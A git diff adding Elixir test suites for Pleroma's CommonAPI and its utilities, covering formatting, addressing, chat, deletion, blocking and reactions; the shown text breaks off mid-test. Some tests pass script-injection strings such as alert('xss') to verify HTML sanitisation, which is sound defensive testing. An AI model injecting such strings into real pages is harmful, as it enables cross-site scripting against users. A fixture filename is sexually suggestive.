AGPL-3.0-only + +defmodule Pleroma.Web.CommonAPI.UtilsTest do + alias Pleroma.Builders.UserBuilder + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + @public_address "https://www.w3.org/ns/activitystreams#Public" + + describe "add_attachments/2" do + setup do + name = + "Sakura Mana – Turned on by a Senior OL with a Temptating Tight Skirt-s Full Hipline and Panty Shot- Beautiful Thick Thighs- and Erotic Ass- -2015- -- Oppaitime 8-28-2017 6-50-33 PM.png" + + attachment = %{ + "url" => [%{"href" => URI.encode(name)}] + } + + %{name: name, attachment: attachment} + end + + test "it adds attachment links to a given text and attachment set", %{ + name: name, + attachment: attachment + } do + len = 10 + clear_config([Pleroma.Upload, :filename_display_max_length], len) + + expected = + "
#{String.slice(name, 0..len)}…" + + assert Utils.add_attachments("", [attachment]) == expected + end + + test "doesn't truncate file name if config for truncate is set to 0", %{ + name: name, + attachment: attachment + } do + clear_config([Pleroma.Upload, :filename_display_max_length], 0) + + expected = "
#{name}" + + assert Utils.add_attachments("", [attachment]) == expected + end + end + + describe "it confirms the password given is the current users password" do + test "incorrect password given" do + {:ok, user} = UserBuilder.insert() + + assert Utils.confirm_current_password(user, "") == {:error, "Invalid password."} + end + + test "correct password given" do + {:ok, user} = UserBuilder.insert() + assert Utils.confirm_current_password(user, "test") == {:ok, user} + end + end + + describe "format_input/3" do + test "works for bare text/plain" do + text = "hello world!" + expected = "hello world!" + + {output, [], []} = Utils.format_input(text, "text/plain") + + assert output == expected + + text = "hello world!\n\nsecond paragraph!" + expected = "hello world!

second paragraph!" + + {output, [], []} = Utils.format_input(text, "text/plain") + + assert output == expected + end + + test "works for bare text/html" do + text = "

hello world!

" + expected = "

hello world!

" + + {output, [], []} = Utils.format_input(text, "text/html") + + assert output == expected + + text = "

hello world!


\n

second paragraph

" + expected = "

hello world!


\n

second paragraph

" + + {output, [], []} = Utils.format_input(text, "text/html") + + assert output == expected + end + + test "works for bare text/markdown" do + text = "**hello world**" + expected = "

hello world

" + + {output, [], []} = Utils.format_input(text, "text/markdown") + + assert output == expected + + text = "**hello world**\n\n*another paragraph*" + expected = "

hello world

another paragraph

" + + {output, [], []} = Utils.format_input(text, "text/markdown") + + assert output == expected + + text = """ + > cool quote + + by someone + """ + + expected = "

cool quote

by someone

" + + {output, [], []} = Utils.format_input(text, "text/markdown") + + assert output == expected + end + + test "works for bare text/bbcode" do + text = "[b]hello world[/b]" + expected = "hello world" + + {output, [], []} = Utils.format_input(text, "text/bbcode") + + assert output == expected + + text = "[b]hello world![/b]\n\nsecond paragraph!" + expected = "hello world!

second paragraph!" + + {output, [], []} = Utils.format_input(text, "text/bbcode") + + assert output == expected + + text = "[b]hello world![/b]\n\nsecond paragraph!" + + expected = + "hello world!

<strong>second paragraph!</strong>" + + {output, [], []} = Utils.format_input(text, "text/bbcode") + + assert output == expected + end + + test "works for text/markdown with mentions" do + {:ok, user} = + UserBuilder.insert(%{nickname: "user__test", ap_id: "http://foo.com/user__test"}) + + text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*" + + {output, _, _} = Utils.format_input(text, "text/markdown") + + assert output == + ~s(

hello world

another @user__test and @user__test google.com paragraph

) + end + end + + describe "context_to_conversation_id" do + test "creates a mapping object" do + conversation_id = Utils.context_to_conversation_id("random context") + object = Object.get_by_ap_id("random context") + + assert conversation_id == object.id + end + + test "returns an existing mapping for an existing object" do + {:ok, object} = Object.context_mapping("random context") |> Repo.insert() + conversation_id = Utils.context_to_conversation_id("random context") + + assert conversation_id == object.id + end + end + + describe "formats date to asctime" do + test "when date is in ISO 8601 format" do + date = DateTime.utc_now() |> DateTime.to_iso8601() + + expected = + date + |> DateTime.from_iso8601() + |> elem(1) + |> Calendar.Strftime.strftime!("%a %b %d %H:%M:%S %z %Y") + + assert Utils.date_to_asctime(date) == expected + end + + test "when date is a binary in wrong format" do + date = DateTime.utc_now() + + expected = "" + + assert capture_log(fn -> + assert Utils.date_to_asctime(date) == expected + end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" + end + + test "when date is a Unix timestamp" do + date = DateTime.utc_now() |> DateTime.to_unix() + + expected = "" + + assert capture_log(fn -> + assert Utils.date_to_asctime(date) == expected + end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" + end + + test "when date is nil" do + expected = "" + + assert capture_log(fn -> + assert Utils.date_to_asctime(nil) == expected + end) =~ "[warn] Date in wrong format, must be ISO 8601" + end + + test "when date is a random string" do + assert capture_log(fn -> + assert Utils.date_to_asctime("foo") == "" + end) =~ "[warn] Date foo in wrong format, must be ISO 8601" + end + end + + describe "get_to_and_cc" do + test "for public posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "public", nil) + + assert length(to) == 2 + assert length(cc) == 1 + + assert @public_address in to + assert mentioned_user.ap_id in to + assert user.follower_address in cc + end + + test "for public posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "public", nil) + + assert length(to) == 3 + assert length(cc) == 1 + + assert @public_address in to + assert mentioned_user.ap_id in to + assert third_user.ap_id in to + assert user.follower_address in cc + end + + test "for unlisted posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "unlisted", nil) + + assert length(to) == 2 + assert length(cc) == 1 + + assert @public_address in cc + assert mentioned_user.ap_id in to + assert user.follower_address in to + end + + test "for unlisted posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "unlisted", nil) + + assert length(to) == 3 + assert length(cc) == 1 + + assert @public_address in cc + assert mentioned_user.ap_id in to + assert third_user.ap_id in to + assert user.follower_address in to + end + + test "for private posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "private", nil) + assert length(to) == 2 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + assert user.follower_address in to + end + + test "for private posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "private", nil) + + assert length(to) == 2 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + assert user.follower_address in to + end + + test "for direct posts, not a reply" do + user = insert(:user) + mentioned_user = insert(:user) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "direct", nil) + + assert length(to) == 1 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + end + + test "for direct posts, a reply" do + user = insert(:user) + mentioned_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) + mentions = [mentioned_user.ap_id] + + {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "direct", nil) + + assert length(to) == 1 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + + {:ok, direct_activity} = CommonAPI.post(third_user, %{status: "uguu", visibility: "direct"}) + + {to, cc} = Utils.get_to_and_cc(user, mentions, direct_activity, "direct", nil) + + assert length(to) == 2 + assert Enum.empty?(cc) + + assert mentioned_user.ap_id in to + assert third_user.ap_id in to + end + end + + describe "to_master_date/1" do + test "removes microseconds from date (NaiveDateTime)" do + assert Utils.to_masto_date(~N[2015-01-23 23:50:07.123]) == "2015-01-23T23:50:07.000Z" + end + + test "removes microseconds from date (String)" do + assert Utils.to_masto_date("2015-01-23T23:50:07.123Z") == "2015-01-23T23:50:07.000Z" + end + + test "returns empty string when date invalid" do + assert Utils.to_masto_date("2015-01?23T23:50:07.123Z") == "" + end + end + + describe "conversation_id_to_context/1" do + test "returns id" do + object = insert(:note) + assert Utils.conversation_id_to_context(object.id) == object.data["id"] + end + + test "returns error if object not found" do + assert Utils.conversation_id_to_context("123") == {:error, "No such conversation"} + end + end + + describe "maybe_notify_mentioned_recipients/2" do + test "returns recipients when activity is not `Create`" do + activity = insert(:like_activity) + assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == ["test"] + end + + test "returns recipients from tag" do + user = insert(:user) + + object = + insert(:note, + user: user, + data: %{ + "tag" => [ + %{"type" => "Hashtag"}, + "", + %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} + ] + } + ) + + activity = insert(:note_activity, user: user, note: object) + + assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ + "test", + "https://testing.pleroma.lol/users/lain", + "https://shitposter.club/user/5381" + ] + end + + test "returns recipients when object is map" do + user = insert(:user) + object = insert(:note, user: user) + + activity = + insert(:note_activity, + user: user, + note: object, + data_attrs: %{ + "object" => %{ + "tag" => [ + %{"type" => "Hashtag"}, + "", + %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, + %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} + ] + } + } + ) + + Pleroma.Repo.delete(object) + + assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ + "test", + "https://testing.pleroma.lol/users/lain", + "https://shitposter.club/user/5381" + ] + end + + test "returns recipients when object not found" do + user = insert(:user) + object = insert(:note, user: user) + + activity = insert(:note_activity, user: user, note: object) + Pleroma.Repo.delete(object) + + obj_url = activity.data["object"] + + Tesla.Mock.mock(fn + %{method: :get, url: ^obj_url} -> + %Tesla.Env{status: 404, body: ""} + end) + + assert Utils.maybe_notify_mentioned_recipients(["test-test"], activity) == [ + "test-test" + ] + end + end + + describe "attachments_from_ids_descs/2" do + test "returns [] when attachment ids is empty" do + assert Utils.attachments_from_ids_descs([], "{}") == [] + end + + test "returns list attachments with desc" do + object = insert(:note) + desc = Jason.encode!(%{object.id => "test-desc"}) + + assert Utils.attachments_from_ids_descs(["#{object.id}", "34"], desc) == [ + Map.merge(object.data, %{"name" => "test-desc"}) + ] + end + end + + describe "attachments_from_ids/1" do + test "returns attachments with descs" do + object = insert(:note) + desc = Jason.encode!(%{object.id => "test-desc"}) + + assert Utils.attachments_from_ids(%{ + media_ids: ["#{object.id}"], + descriptions: desc + }) == [ + Map.merge(object.data, %{"name" => "test-desc"}) + ] + end + + test "returns attachments without descs" do + object = insert(:note) + assert Utils.attachments_from_ids(%{media_ids: ["#{object.id}"]}) == [object.data] + end + + test "returns [] when not pass media_ids" do + assert Utils.attachments_from_ids(%{}) == [] + end + end + + describe "maybe_add_list_data/3" do + test "adds list params when found user list" do + user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) + + assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == + %{ + additional: %{"bcc" => [list.ap_id], "listMessage" => list.ap_id}, + object: %{"listMessage" => list.ap_id} + } + end + + test "returns original params when list not found" do + user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", insert(:user)) + + assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == + %{additional: %{}, object: %{}} + end + end + + describe "make_note_data/11" do + test "returns note data" do + user = insert(:user) + note = insert(:note) + user2 = insert(:user) + user3 = insert(:user) + + assert Utils.make_note_data( + user.ap_id, + [user2.ap_id], + "2hu", + "

This is :moominmamma: note

", + [], + note.id, + [name: "jimm"], + "test summary", + [user3.ap_id], + false, + %{"custom_tag" => "test"} + ) == %{ + "actor" => user.ap_id, + "attachment" => [], + "cc" => [user3.ap_id], + "content" => "

This is :moominmamma: note

", + "context" => "2hu", + "sensitive" => false, + "summary" => "test summary", + "tag" => ["jimm"], + "to" => [user2.ap_id], + "type" => "Note", + "custom_tag" => "test" + } + end + end + + describe "maybe_add_attachments/3" do + test "returns parsed results when attachment_links is false" do + assert Utils.maybe_add_attachments( + {"test", [], ["tags"]}, + [], + false + ) == {"test", [], ["tags"]} + end + + test "adds attachments to parsed results" do + attachment = %{"url" => [%{"href" => "SakuraPM.png"}]} + + assert Utils.maybe_add_attachments( + {"test", [], ["tags"]}, + [attachment], + true + ) == { + "test
SakuraPM.png", + [], + ["tags"] + } + end + end +end diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs new file mode 100644 index 000000000..e34f5a49b --- /dev/null +++ b/test/pleroma/web/common_api_test.exs @@ -0,0 +1,1244 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.CommonAPITest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Conversation.Participation + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + import Mock + import Ecto.Query, only: [from: 2] + + require Pleroma.Constants + + setup do: clear_config([:instance, :safe_dm_mentions]) + setup do: clear_config([:instance, :limit]) + setup do: clear_config([:instance, :max_pinned_statuses]) + + describe "posting polls" do + test "it posts a poll" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "who is the best", + poll: %{expires_in: 600, options: ["reimu", "marisa"]} + }) + + object = Object.normalize(activity) + + assert object.data["type"] == "Question" + assert object.data["oneOf"] |> length() == 2 + end + end + + describe "blocking" do + setup do + blocker = insert(:user) + blocked = insert(:user) + User.follow(blocker, blocked) + User.follow(blocked, blocker) + %{blocker: blocker, blocked: blocked} + end + + test "it blocks and federates", %{blocker: blocker, blocked: blocked} do + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, block} = CommonAPI.block(blocker, blocked) + + assert block.local + assert User.blocks?(blocker, blocked) + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + + assert called(Pleroma.Web.Federator.publish(block)) + end + end + + test "it blocks and does not federate if outgoing blocks are disabled", %{ + blocker: blocker, + blocked: blocked + } do + clear_config([:instance, :federating], true) + clear_config([:activitypub, :outgoing_blocks], false) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, block} = CommonAPI.block(blocker, blocked) + + assert block.local + assert User.blocks?(blocker, blocked) + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + + refute called(Pleroma.Web.Federator.publish(block)) + end + end + end + + describe "posting chat messages" do + setup do: clear_config([:instance, :chat_limit]) + + test "it posts a chat message without content but with an attachment" do + author = insert(:user) + recipient = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: author.ap_id) + + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> + nil + end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + nil, + media_id: upload.id + ) + + notification = + Notification.for_user_and_activity(recipient, activity) + |> Repo.preload(:activity) + + assert called(Pleroma.Web.Push.send(notification)) + assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) + assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) + + assert activity + end + end + + test "it adds html newlines" do + author = insert(:user) + recipient = insert(:user) + + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "uguu\nuguuu" + ) + + assert other_user.ap_id not in activity.recipients + + object = Object.normalize(activity, false) + + assert object.data["content"] == "uguu
uguuu" + end + + test "it linkifies" do + author = insert(:user) + recipient = insert(:user) + + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "https://example.org is the site of @#{other_user.nickname} #2hu" + ) + + assert other_user.ap_id not in activity.recipients + + object = Object.normalize(activity, false) + + assert object.data["content"] == + "https://example.org is the site of @#{other_user.nickname} #2hu" + end + + test "it posts a chat message" do + author = insert(:user) + recipient = insert(:user) + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "a test message :firefox:" + ) + + assert activity.data["type"] == "Create" + assert activity.local + object = Object.normalize(activity) + + assert object.data["type"] == "ChatMessage" + assert object.data["to"] == [recipient.ap_id] + + assert object.data["content"] == + "a test message <script>alert('uuu')</script> :firefox:" + + assert object.data["emoji"] == %{ + "firefox" => "http://localhost:4001/emoji/Firefox.gif" + } + + assert Chat.get(author.id, recipient.ap_id) + assert Chat.get(recipient.id, author.ap_id) + + assert :ok == Pleroma.Web.Federator.perform(:publish, activity) + end + + test "it reject messages over the local limit" do + Pleroma.Config.put([:instance, :chat_limit], 2) + + author = insert(:user) + recipient = insert(:user) + + {:error, message} = + CommonAPI.post_chat_message( + author, + recipient, + "123" + ) + + assert message == :content_too_long + end + + test "it reject messages via MRF" do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + author = insert(:user) + recipient = insert(:user) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + CommonAPI.post_chat_message(author, recipient, "GNO/Linux") + end + end + + describe "unblocking" do + test "it works even without an existing block activity" do + blocked = insert(:user) + blocker = insert(:user) + User.block(blocker, blocked) + + assert User.blocks?(blocker, blocked) + assert {:ok, :no_activity} == CommonAPI.unblock(blocker, blocked) + refute User.blocks?(blocker, blocked) + end + end + + describe "deletion" do + test "it works with pruned objects" do + user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + clear_config([:instance, :federating], true) + + Object.normalize(post, false) + |> Object.prune() + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, delete} = CommonAPI.delete(post.id, user) + assert delete.local + assert called(Pleroma.Web.Federator.publish(delete)) + end + + refute Activity.get_by_id(post.id) + end + + test "it allows users to delete their posts" do + user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, delete} = CommonAPI.delete(post.id, user) + assert delete.local + assert called(Pleroma.Web.Federator.publish(delete)) + end + + refute Activity.get_by_id(post.id) + end + + test "it does not allow a user to delete their posts" do + user = insert(:user) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + assert {:error, "Could not delete"} = CommonAPI.delete(post.id, other_user) + assert Activity.get_by_id(post.id) + end + + test "it allows moderators to delete other user's posts" do + user = insert(:user) + moderator = insert(:user, is_moderator: true) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + assert {:ok, delete} = CommonAPI.delete(post.id, moderator) + assert delete.local + + refute Activity.get_by_id(post.id) + end + + test "it allows admins to delete other user's posts" do + user = insert(:user) + moderator = insert(:user, is_admin: true) + + {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) + + assert {:ok, delete} = CommonAPI.delete(post.id, moderator) + assert delete.local + + refute Activity.get_by_id(post.id) + end + + test "superusers deleting non-local posts won't federate the delete" do + # This is the user of the ingested activity + _user = + insert(:user, + local: false, + ap_id: "http://mastodon.example.org/users/admin", + last_refreshed_at: NaiveDateTime.utc_now() + ) + + moderator = insert(:user, is_admin: true) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Jason.decode!() + + {:ok, post} = Transmogrifier.handle_incoming(data) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + assert {:ok, delete} = CommonAPI.delete(post.id, moderator) + assert delete.local + refute called(Pleroma.Web.Federator.publish(:_)) + end + + refute Activity.get_by_id(post.id) + end + end + + test "favoriting race condition" do + user = insert(:user) + users_serial = insert_list(10, :user) + users = insert_list(10, :user) + + {:ok, activity} = CommonAPI.post(user, %{status: "."}) + + users_serial + |> Enum.map(fn user -> + CommonAPI.favorite(user, activity.id) + end) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["like_count"] == 10 + + users + |> Enum.map(fn user -> + Task.async(fn -> + CommonAPI.favorite(user, activity.id) + end) + end) + |> Enum.map(&Task.await/1) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["like_count"] == 20 + end + + test "repeating race condition" do + user = insert(:user) + users_serial = insert_list(10, :user) + users = insert_list(10, :user) + + {:ok, activity} = CommonAPI.post(user, %{status: "."}) + + users_serial + |> Enum.map(fn user -> + CommonAPI.repeat(activity.id, user) + end) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["announcement_count"] == 10 + + users + |> Enum.map(fn user -> + Task.async(fn -> + CommonAPI.repeat(activity.id, user) + end) + end) + |> Enum.map(&Task.await/1) + + object = Object.get_by_ap_id(activity.data["object"]) + assert object.data["announcement_count"] == 20 + end + + test "when replying to a conversation / participation, it will set the correct context id even if no explicit reply_to is given" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + [participation] = Participation.for_user(user) + + {:ok, convo_reply} = + CommonAPI.post(user, %{status: ".", in_reply_to_conversation_id: participation.id}) + + assert Visibility.is_direct?(convo_reply) + + assert activity.data["context"] == convo_reply.data["context"] + end + + test "when replying to a conversation / participation, it only mentions the recipients explicitly declared in the participation" do + har = insert(:user) + jafnhar = insert(:user) + tridi = insert(:user) + + {:ok, activity} = + CommonAPI.post(har, %{ + status: "@#{jafnhar.nickname} hey", + visibility: "direct" + }) + + assert har.ap_id in activity.recipients + assert jafnhar.ap_id in activity.recipients + + [participation] = Participation.for_user(har) + + {:ok, activity} = + CommonAPI.post(har, %{ + status: "I don't really like @#{tridi.nickname}", + visibility: "direct", + in_reply_to_status_id: activity.id, + in_reply_to_conversation_id: participation.id + }) + + assert har.ap_id in activity.recipients + assert jafnhar.ap_id in activity.recipients + refute tridi.ap_id in activity.recipients + end + + test "with the safe_dm_mention option set, it does not mention people beyond the initial tags" do + har = insert(:user) + jafnhar = insert(:user) + tridi = insert(:user) + + Pleroma.Config.put([:instance, :safe_dm_mentions], true) + + {:ok, activity} = + CommonAPI.post(har, %{ + status: "@#{jafnhar.nickname} hey, i never want to see @#{tridi.nickname} again", + visibility: "direct" + }) + + refute tridi.ap_id in activity.recipients + assert jafnhar.ap_id in activity.recipients + end + + test "it de-duplicates tags" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "#2hu #2HU"}) + + object = Object.normalize(activity) + + assert object.data["tag"] == ["2hu"] + end + + test "it adds emoji in the object" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: ":firefox:"}) + + assert Object.normalize(activity).data["emoji"]["firefox"] + end + + describe "posting" do + test "deactivated users can't post" do + user = insert(:user, deactivated: true) + assert {:error, _} = CommonAPI.post(user, %{status: "ye"}) + end + + test "it supports explicit addressing" do + user = insert(:user) + user_two = insert(:user) + user_three = insert(:user) + user_four = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Hey, I think @#{user_three.nickname} is ugly. @#{user_four.nickname} is alright though.", + to: [user_two.nickname, user_four.nickname, "nonexistent"] + }) + + assert user.ap_id in activity.recipients + assert user_two.ap_id in activity.recipients + assert user_four.ap_id in activity.recipients + refute user_three.ap_id in activity.recipients + end + + test "it filters out obviously bad tags when accepting a post as HTML" do + user = insert(:user) + + post = "

2hu

" + + {:ok, activity} = + CommonAPI.post(user, %{ + status: post, + content_type: "text/html" + }) + + object = Object.normalize(activity) + + assert object.data["content"] == "

2hu

alert('xss')" + assert object.data["source"] == post + end + + test "it filters out obviously bad tags when accepting a post as Markdown" do + user = insert(:user) + + post = "

2hu

" + + {:ok, activity} = + CommonAPI.post(user, %{ + status: post, + content_type: "text/markdown" + }) + + object = Object.normalize(activity) + + assert object.data["content"] == "

2hu

alert('xss')" + assert object.data["source"] == post + end + + test "it does not allow replies to direct messages that are not direct messages themselves" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) + + assert {:ok, _} = + CommonAPI.post(user, %{ + status: "suya..", + visibility: "direct", + in_reply_to_status_id: activity.id + }) + + Enum.each(["public", "private", "unlisted"], fn visibility -> + assert {:error, "The message visibility must be direct"} = + CommonAPI.post(user, %{ + status: "suya..", + visibility: visibility, + in_reply_to_status_id: activity.id + }) + end) + end + + test "replying with a direct message will NOT auto-add the author of the reply to the recipient list" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "I'm stupid"}) + + {:ok, open_answer} = + CommonAPI.post(other_user, %{status: "No ur smart", in_reply_to_status_id: post.id}) + + # The OP is implicitly added + assert user.ap_id in open_answer.recipients + + {:ok, secret_answer} = + CommonAPI.post(other_user, %{ + status: "lol, that guy really is stupid, right, @#{third_user.nickname}?", + in_reply_to_status_id: post.id, + visibility: "direct" + }) + + assert third_user.ap_id in secret_answer.recipients + + # The OP is not added + refute user.ap_id in secret_answer.recipients + end + + test "it allows to address a list" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + assert activity.data["bcc"] == [list.ap_id] + assert activity.recipients == [list.ap_id, user.ap_id] + assert activity.data["listMessage"] == list.ap_id + end + + test "it returns error when status is empty and no attachments" do + user = insert(:user) + + assert {:error, "Cannot post an empty status without attachments"} = + CommonAPI.post(user, %{status: ""}) + end + + test "it validates character limits are correctly enforced" do + Pleroma.Config.put([:instance, :limit], 5) + + user = insert(:user) + + assert {:error, "The status is over the character limit"} = + CommonAPI.post(user, %{status: "foobar"}) + + assert {:ok, activity} = CommonAPI.post(user, %{status: "12345"}) + end + + test "it can handle activities that expire" do + user = insert(:user) + + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) + + assert {:ok, activity} = CommonAPI.post(user, %{status: "chai", expires_in: 1_000_000}) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: expires_at + ) + end + end + + describe "reactions" do + test "reacting to a status with an emoji" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") + + assert reaction.data["actor"] == user.ap_id + assert reaction.data["content"] == "👍" + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:error, _} = CommonAPI.react_with_emoji(activity.id, user, ".") + end + + test "unreacting to a status with an emoji" do + user = insert(:user) + other_user = insert(:user) + + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end do + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") + + {:ok, unreaction} = CommonAPI.unreact_with_emoji(activity.id, user, "👍") + + assert unreaction.data["type"] == "Undo" + assert unreaction.data["object"] == reaction.data["id"] + assert unreaction.local + + # On federation, it contains the undone (and deleted) object + unreaction_with_object = %{ + unreaction + | data: Map.put(unreaction.data, "object", reaction.data) + } + + assert called(Pleroma.Web.Federator.publish(unreaction_with_object)) + end + end + + test "repeating a status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{} = announce_activity} = CommonAPI.repeat(activity.id, user) + assert Visibility.is_public?(announce_activity) + end + + test "can't repeat a repeat" do + user = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, other_user) + + refute match?({:ok, %Activity{}}, CommonAPI.repeat(announce.id, user)) + end + + test "repeating a status privately" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{} = announce_activity} = + CommonAPI.repeat(activity.id, user, %{visibility: "private"}) + + assert Visibility.is_private?(announce_activity) + refute Visibility.visible_for_user?(announce_activity, nil) + end + + test "favoriting a status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, post_activity} = CommonAPI.post(other_user, %{status: "cofe"}) + + {:ok, %Activity{data: data}} = CommonAPI.favorite(user, post_activity.id) + assert data["type"] == "Like" + assert data["actor"] == user.ap_id + assert data["object"] == post_activity.data["object"] + end + + test "retweeting a status twice returns the status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, user) + {:ok, ^announce} = CommonAPI.repeat(activity.id, user) + end + + test "favoriting a status twice returns ok, but without the like activity" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) + {:ok, %Activity{}} = CommonAPI.favorite(user, activity.id) + assert {:ok, 